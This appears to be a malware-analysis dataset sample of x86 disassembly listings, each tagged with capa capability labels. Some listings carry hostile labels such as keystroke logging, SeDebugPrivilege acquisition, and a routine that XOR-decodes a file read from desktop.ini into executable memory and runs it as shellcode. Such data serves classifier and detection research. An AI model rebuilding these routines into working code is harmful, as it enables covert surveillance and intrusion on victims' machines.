joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4726f0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x164]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x6d1
push 0
push 0x501bb2
call sub.VCRUNTIME140.dll_memset
mov eax, 0x501c52
lea ebx, [ebp - 0x44]
add esp, 0x18
mov dword [ebp - 4], eax
mov esi, 0x20
sub ebx, 0x480
nop dword [eax]
movsx edi, word [esi*2 + 0x5018f8]
cmp edi, 0xffffffff
je 0x472833
cmp esi, 0x140
jb 0x4727ce
cmp esi, 0x14e
ja 0x4727ce
mov dword [ebp - 0x44], 0x60
mov dword [ebp - 0x40], 0x61
mov dword [ebp - 0x3c], 0x62
mov dword [ebp - 0x38], 0x63
mov dword [ebp - 0x34], 0x64
mov dword [ebp - 0x30], 0x65
mov dword [ebp - 0x2c], 0x66
mov dword [ebp - 0x28], 0x67
mov dword [ebp - 0x24], 0x68
mov dword [ebp - 0x20], 0x69
mov dword [ebp - 0x1c], 0x6e
mov dword [ebp - 0x18], 0x6f
mov dword [ebp - 0x14], 0x6a
mov dword [ebp - 0x10], 0x6d
mov dword [ebp - 0xc], 0x6b
mov eax, dword [ebx]
jmp 0x4727d7
push 1
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
push 0
push 0x10
lea ecx, [ebp - 0x64]
mov dword [ebp - 8], eax
push ecx
lea ecx, [ebp - 0x164]
push ecx
push edi
push eax
call dword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 0xffffffff
jne 0x47280f
push 0
push 0x10
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x164]
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_ToUnicode]
cmp eax, 1
jl 0x472830
push 0
push 0
push 5
push dword [ebp - 4]
lea eax, [ebp - 0x64]
push 1
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 4]
inc esi
add eax, 5
add ebx, 4
mov dword [ebp - 4], eax
cmp esi, 0x15c
jle 0x472740
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x484a00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
movzx eax, ax
push esi
mov esi, eax
mov dword [ebp - 4], eax
push edi
shr esi, 8
xor eax, eax
xor edi, edi
mov dword [ebp - 8], esi
cmp dword [ebp + 0x10], eax
jbe 0x484a60
mov ebx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
movzx ecx, word [ecx + edi*2]
mov edx, ecx
movzx ecx, cl
shr edx, 8
add edx, eax
cmp esi, ecx
jb 0x484a60
jne 0x484a58
cmp eax, edx
jge 0x484a58
mov ecx, dword [ebp + 8]
movzx esi, cl
movzx ecx, byte [eax + ebx]
cmp cx, si
je 0x484a88
inc eax
cmp eax, edx
jl 0x484a47
mov esi, dword [ebp - 8]
inc edi
mov eax, edx
cmp edi, dword [ebp + 0x10]
jb 0x484a26
mov edi, dword [ebp + 0x1c]
xor eax, eax
mov bl, 1
test edi, edi
je 0x484aa0
mov esi, dword [ebp + 0x18]
nop
movzx ecx, byte [eax + esi]
test cl, cl
jns 0x484a91
movzx edx, byte [eax + esi + 1]
inc eax
and ecx, 0x7f
shl ecx, 8
or edx, ecx
jmp 0x484a93
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, ecx
sub dword [ebp - 4], edx
js 0x484aa0
inc eax
xor bl, 1
cmp eax, edi
jb 0x484a70
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x492960
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4929cf
push ebx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 1
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
movzx eax, byte [ebp + 8]
push 0
push 0
add eax, eax
push 0x10
mov dword [ebp - 8], eax
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x49acbd
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x49ace4
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x49ace7
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0049ac99
pop esi
leave
ret 8

Function at 0x49c41c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x49c45b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x49c45b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x49c45b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x49c45b
cmp dword [ecx + 0x74], 0xe
jbe 0x49c45b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401170
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401189
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4011c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4011c0
lea ebx, [ebx]
cmp esi, edx
jae 0x4011c4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x4011b0
cmp esi, edx
jb 0x4011cb
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401ba0
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c0fb
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x42e1d0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
call fcn.00401ad0
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4308a0
push 0
push str.dfss
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push 0x4308a0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 0x224]
push eax
push edi
push ebx
push esi
mov dword [ebp - 0x224], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [section..data]
push ecx
mov esi, esp
mov ecx, section..data
mov dword [ebp - 0x220], esi
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4
mov byte [ebp - 4], 1
test eax, 0xffff0000
jne 0x401cad
movzx edi, ax
mov ecx, edi
call fcn.00401250
test eax, eax
je 0x401cbb
push edi
push eax
mov ecx, esi
call fcn.00402b40
jmp 0x401cbb
push 0x2d
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4
mov ecx, esi
call fcn.00402780
mov byte [ebp - 4], 0
call fcn.00401990
add esp, 4
mov ecx, eax
call fcn.004018a0
push 0x424018
push ecx
mov ecx, esp
push 0x42aec4
test al, al
je 0x401da6
mov byte [ebp - 4], 2
call fcn.00401fa0
call fcn.00401990
add esp, 4
push eax
push ecx
mov ecx, esp
push str.RemoteProcess.Program
call fcn.00401fa0
call fcn.00401990
add esp, 4
push eax
push ecx
mov ecx, esp
push str.v4.0.30319
call fcn.00401fa0
call fcn.00401990
add esp, 4
mov edx, 0x4308a0
mov ecx, eax
call fcn.004018d0
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00403f5b
mov esp, ebp
pop ebp
ret
mov byte [ebp - 4], 4
call fcn.00401fa0
call fcn.00401990
add esp, 4
push eax
push ecx
mov ecx, esp
push str.RemoteProcess.Program
call fcn.00401fa0
call fcn.00401990
add esp, 4
push eax
push ecx
mov ecx, esp
push 0x42af24
call fcn.00401fa0
call fcn.00401990
add esp, 4
mov edx, 0x4308a0
mov ecx, eax
call fcn.004018d0
add esp, 0xc
jmp 0x401d2f
Function at 0x40b2d1
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42e1d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.004085a9
mov dword [ebp - 0x14], eax
cmp dword [0x430804], edi
jne 0x40b3c2
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40b34f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40b4a2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40b4a2
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40b4a2
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x430804], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x430808], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x43080c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x430814], eax
test eax, eax
je 0x40b3bf
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x430810], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40b3e7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40b3da
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40b3fc
push 4
pop eax
jmp 0x40b4a4
cmp dword [ebp - 0x14], edi
je 0x40b3fc
push dword [0x430804]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40b3e1
mov eax, dword [0x430810]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40b45a
cmp dword [0x430814], esi
je 0x40b45a
push eax
call ebx
push dword [0x430814]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40b45a
test eax, eax
je 0x40b45a
call ecx
test eax, eax
je 0x40b44f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40b44f
test byte [ebp - 8], 1
jne 0x40b45a
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40b48a
mov eax, dword [0x430808]
cmp eax, esi
je 0x40b487
push eax
call ebx
test eax, eax
je 0x40b487
call eax
mov edi, eax
test edi, edi
je 0x40b487
mov eax, dword [0x43080c]
cmp eax, esi
je 0x40b487
push eax
call ebx
test eax, eax
je 0x40b487
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x430804]
call ebx
test eax, eax
je 0x40b4a2
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40b4a4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f5b
leave
ret
Function at 0x41aa46
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004079f3
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41aa7e
xor eax, eax
jmp 0x41aaaa
cmp esi, dword [ebp - 4]
je 0x41aaa7
cmp dword [ebp + 0xc], 0
je 0x41aaa7
push dword [edi + 0x9c]
call fcn.0041a654
push dword [edi + 0x9c]
mov esi, eax
call fcn.0040b1fa
pop ecx
pop ecx
cmp esi, eax
je 0x41aa7a
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x4034d6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x405730]
jne 0x4034e0
repz ret
jmp fcn.0040384e
Function at 0x417275
Capabilities:
Get geographical location

Disassembly:
mov eax, 0x593fb3
call fcn.005348dc
sub esp, 0x94
push esi
push edi
push 1
mov esi, ecx
push 2
lea ecx, [ebp - 0xa0]
call fcn.0040a0f2
and dword [ebp - 4], 0
push 0x5c6bd4
push dword [esi + 0x40]
lea eax, [ebp - 0xa0]
push 0xffffffffffffffa9
push eax
call fcn.0040b046
pop ecx
pop ecx
mov ecx, eax
call fcn.00417651
push eax
call fcn.0040aeaa
mov edi, eax
mov eax, dword [esi + 4]
test eax, eax
pop ecx
pop ecx
jne 0x4172d1
mov eax, 0x5a54a8
push eax
push edi
call fcn.0040aeaa
push 0x5c73fc
push edi
call fcn.0040aeaa
mov edi, eax
add esp, 0x10
test edi, edi
je 0x4172f3
mov eax, dword [edi]
mov eax, dword [eax + 4]
add eax, edi
or dword [eax + 0xc], 0x10
lea eax, [ebp - 0x14]
push 3
push eax
call fcn.004d2652
test edi, edi
pop ecx
pop ecx
jne 0x41730c
xor ecx, ecx
jmp 0x417313
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
add ecx, edi
push dword [eax + 4]
push ecx
call dword [eax]
test edi, edi
pop ecx
pop ecx
jne 0x417323
xor eax, eax
jmp 0x41732a
mov eax, dword [edi]
mov eax, dword [eax + 4]
add eax, edi
mov ecx, dword [eax + 0xc]
and ecx, 0xffffefff
or ecx, 0x2000
mov dword [eax + 0xc], ecx
fild dword [esi + 0x1c]
push 0x5c73f8
push ecx
fmul dword [0x5a54e8]
mov ecx, edi
fstp dword [esp]
call fcn.00417777
push eax
call fcn.0040aeaa
mov eax, dword [esi + 0x14]
sub eax, 0
pop ecx
pop ecx
je 0x41738a
dec eax
je 0x417383
dec eax
je 0x41737c
dec eax
je 0x417375
push 0x5c73e0
jmp 0x41738f
push 0x5c73d8
jmp 0x41738f
push str.Debug
jmp 0x41738f
push 0x5c73c4
jmp 0x41738f
push 0x5c73bc
lea eax, [ebp - 0xa0]
push eax
call fcn.0040aeaa
pop ecx
pop ecx
lea eax, [ebp - 0xa0]
push str.France
push eax
call fcn.0040aeaa
mov esi, dword [esi + 0x10]
cmp esi, 8
pop ecx
pop ecx
ja case.0x4173b8.7
jmp dword [esi*4 + 0x417454]
push str.Spain
jmp 0x4173f5
push str.Italy
jmp 0x4173f5
push 0x5c73a0
jmp 0x4173f5
push 0x5c7398
jmp 0x4173f5
push str.Russia
jmp 0x4173f5
push 0x5c7384
jmp 0x4173f5
push str.Unknown_Country
jmp 0x4173f5
push 0x5c736c
lea eax, [ebp - 0xa0]
push eax
call fcn.0040aeaa
pop ecx
pop ecx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0040a317
push dword [0x5a5498]
mov ecx, dword [ebp + 8]
push 0
push eax
mov byte [ebp - 4], 1
call fcn.00403575
and byte [ebp - 4], 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.00401321
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0]
call fcn.00409f71
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x4b6d50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x59db28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push ebp
xor ebp, ebp
push esi
push ebp
lea ecx, [esp + 0x28]
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], ebp
call fcn.0048cf06
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0xe]
lea ecx, [esp + 0xf]
push eax
push ecx
lea ecx, [esp + 0x3c]
call fcn.004b6f80
lea edx, [esp + 0x24]
push eax
push edx
lea ecx, [esp + 0x4c]
mov dword [esp + 0x80], ebp
call fcn.004b7110
push eax
lea eax, [esp + 0x20]
push eax
mov ecx, esi
mov byte [esp + 0x80], 1
call fcn.004b7020
mov esi, dword [eax]
lea ecx, [esp + 0x48]
mov byte [esp + 0x78], 0
call fcn.004239e9
or ebx, 0xffffffff
lea ecx, [esp + 0x34]
mov dword [esp + 0x78], ebx
call fcn.004239e9
mov esi, dword [esi + 0x14]
mov eax, dword [esp + 0x28]
cmp eax, esi
je 0x4b6f5b
push edi
lea ecx, [esp + 0x28]
call fcn.0048cf3b
mov ecx, dword [esp + 0x84]
mov edi, 5
lea esi, [ecx + 4]
mov eax, dword [esi]
test eax, eax
jl 0x4b6e76
push eax
lea ecx, [esp + 0x20]
call fcn.00477832
lea ecx, [esp + 0x5c]
call fcn.0049215c
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x5c]
push edx
mov dword [esp + 0x80], 2
call fcn.00492972
mov eax, dword [esi + 0x64]
lea ecx, [esp + 0x5c]
push eax
call fcn.00492ba4
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x5c]
fild dword [esp + 0x18]
inc ebp
mov dword [esp + 0x7c], ebx
fld st(0)
fmul st(1)
fmul dword [0x5a7908]
fadd dword [esp + 0x14]
fstp dword [esp + 0x14]
fstp st(0)
call fcn.00492884
add esi, 4
dec edi
jne 0x4b6e0d
mov edx, dword [esp + 0x2c]
mov esi, dword [0x5f8388]
mov ecx, dword [edx + 8]
cmp ecx, esi
je 0x4b6ea1
mov eax, dword [ecx]
cmp eax, esi
je 0x4b6e9b
mov ecx, eax
mov eax, dword [ecx]
cmp eax, esi
jne 0x4b6e93
mov dword [esp + 0x2c], ecx
jmp 0x4b6ec0
mov eax, dword [edx + 4]
cmp edx, dword [eax + 8]
jne 0x4b6eb7
mov edx, eax
mov dword [esp + 0x2c], edx
mov eax, dword [eax + 4]
cmp edx, dword [eax + 8]
je 0x4b6ea9
cmp dword [edx + 8], eax
je 0x4b6ec0
mov dword [esp + 0x2c], eax
mov esi, dword [esp + 0x30]
lea eax, [esp + 0x12]
lea ecx, [esp + 0x13]
push eax
push ecx
lea ecx, [esp + 0x40]
call fcn.004b6f80
lea edx, [esp + 0x28]
push eax
push edx
lea ecx, [esp + 0x50]
mov dword [esp + 0x84], 0
call fcn.004b7110
push eax
lea eax, [esp + 0x24]
push eax
mov ecx, esi
mov byte [esp + 0x84], 1
call fcn.004b7020
mov esi, dword [eax]
lea ecx, [esp + 0x4c]
mov byte [esp + 0x7c], 0
call fcn.004239e9
lea ecx, [esp + 0x38]
mov dword [esp + 0x7c], ebx
call fcn.004239e9
mov ecx, dword [esp + 0x2c]
mov eax, dword [esi + 0x14]
cmp ecx, eax
jne 0x4b6df5
test ebp, ebp
mov dword [esp + 0x18], ebp
pop edi
jle 0x4b6f5b
fild dword [esp + 0x14]
pop esi
pop ebp
pop ebx
fdivr dword [0x5a5a30]
fmul dword [esp + 4]
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret
mov ecx, dword [esp + 0x70]
pop esi
fld dword [esp + 0xc]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x70
ret
Function at 0x4c5e30
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x59e419
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [0x5a50a8]
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], eax
mov ecx, dword [esp + 0x1c]
xor edi, edi
mov dword [esi + 4], ecx
push 0x64
lea ecx, [esi + 0x5c]
mov dword [esp + 0x18], edi
mov dword [esi + 0x58], edi
call fcn.004c1360
mov ecx, dword [esi + 4]
push esi
mov dword [esi], 0x5a7b54
call dword [0x5a5060]
mov edx, dword [esp + 0x20]
lea eax, [esi + 0x30]
mov dword [esi + 0x64], edx
mov ecx, 0xa
mov dword [eax - 0x28], edi
mov dword [eax], edi
add eax, 4
dec ecx
jne 0x4c5e8e
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4c99f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x59e7b9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
push edi
mov edi, dword [esp + 0x20]
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 0x10]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edi
call fcn.004b6c00
push edi
lea ecx, [esi + 0x30]
mov dword [esp + 0x18], 0
call fcn.004b4c50
push edi
lea ecx, [esi + 0xb4]
mov byte [esp + 0x18], 1
mov byte [esi + 0xb0], 0
call fcn.004cd730
push edi
lea ecx, [esi + 0xf0]
mov byte [esp + 0x18], 2
call fcn.004cd730
push edi
lea ecx, [esi + 0x12c]
mov byte [esp + 0x18], 3
call fcn.004cd730
push edi
lea ecx, [esi + 0x168]
mov byte [esp + 0x18], 4
call fcn.004ce650
push 0x10
mov byte [esp + 0x18], 5
mov dword [esi + 0x1ac], 0
mov dword [esi], 0x5a7c58
call fcn.00533fdc
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 6
je 0x4c9ab6
mov ecx, eax
call fcn.004cfd40
jmp 0x4c9ab8
xor eax, eax
mov ecx, esi
mov byte [esp + 0x14], 5
mov dword [esi + 4], eax
call fcn.004c9bb0
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4ca360
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x59e85b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
lea ecx, [esi + 4]
mov dword [esp + 8], esi
mov dword [esi], edi
call fcn.004c89f0
lea ecx, [esi + 0x10]
mov dword [esp + 0x14], edi
call fcn.004c89f0
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], 0xffffffff
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4ce5e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x59eb7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
xor edi, edi
lea ecx, [esi + 4]
mov dword [esp + 8], esi
mov dword [esi], edi
call fcn.004c89f0
lea ecx, [esi + 0x10]
mov dword [esp + 0x14], edi
call fcn.004c89f0
mov ecx, dword [esp + 0xc]
mov eax, 1
mov byte [esi + 0x1c], al
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x2c], 6
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x5119c0
Capabilities:
Enumerate pe sections

Disassembly:
push edi
push esi
push ebp
push ebx
mov ebx, dword [esp + 0x14]
sub esp, 0x124
xor eax, eax
mov dword [esp + 0x118], ebx
mov ebp, dword [ebx + 0x18]
mov dword [esp + 0x11c], eax
mov eax, dword [ebp]
test eax, eax
jl 0x511a22
mov eax, ebp
mov edx, dword [esp + 0x11c]
mov ebp, dword [ebp + 8]
inc edx
mov eax, dword [eax + 0xc]
mov dword [esp + 0x11c], edx
mov dword [esp + edx*4 + 0x18], eax
mov eax, dword [esp + 0x11c]
test eax, eax
jge 0x5119e1
mov ebx, dword [esp + 0x118]
add esp, 0x124
mov eax, ebx
pop ebx
pop ebp
pop esi
pop edi
ret
mov eax, dword [esp + 0x118]
movzx edx, word [ebp + 0x5c]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp + 0x54]
test ecx, ecx
lea esi, [eax + edx*4]
je 0x511a50
mov eax, dword [esp + 0x11c]
mov ebp, dword [esp + eax*4 + 0x18]
dec eax
mov dword [esp + 0x11c], eax
jmp 0x511a03
movzx eax, word [ebp + 0x60]
mov dword [esp], eax
call fcn.005125c0
mov edi, eax
test edi, edi
je 0x511b20
movzx eax, word [ebp + 0x60]
xor ebx, ebx
test eax, eax
jle 0x511aaa
mov eax, dword [ebp + 4]
movzx edx, word [eax + ebx*8]
mov edx, dword [esi + edx*4]
mov dword [esp], edi
mov dword [esp + 4], edx
movzx edx, word [eax + ebx*8 + 2]
mov dword [esp + 8], edx
movzx edx, word [eax + ebx*8 + 4]
mov dword [esp + 0xc], edx
movzx eax, word [eax + ebx*8 + 6]
mov dword [esp + 0x10], eax
call fcn.00512750
movzx eax, word [ebp + 0x60]
inc ebx
cmp ebx, eax
jl 0x511a70
mov eax, dword [esp + 0x118]
mov al, byte [eax + 2]
test al, 1
je 0x511ad0
mov dword [esp], edi
mov dword [esp + 4], 1
call fcn.00515710
mov edx, eax
jmp 0x511ae2
mov dword [esp], edi
mov dword [esp + 4], 0
call fcn.00515710
mov edx, eax
test edx, edx
je 0x511b0c
mov eax, dword [esp + 0x118]
mov dword [ebp + 0x54], edx
mov dword [esp + 0x118], eax
test eax, eax
jne 0x511a3a
add esp, 0x124
xor eax, eax
pop ebx
pop ebp
pop esi
pop edi
ret
mov dword [esp], edi
call fcn.005126b0
xor eax, eax
jmp 0x511af0
add esp, 0x124
xor eax, eax
pop ebx
pop ebp
pop esi
pop edi
ret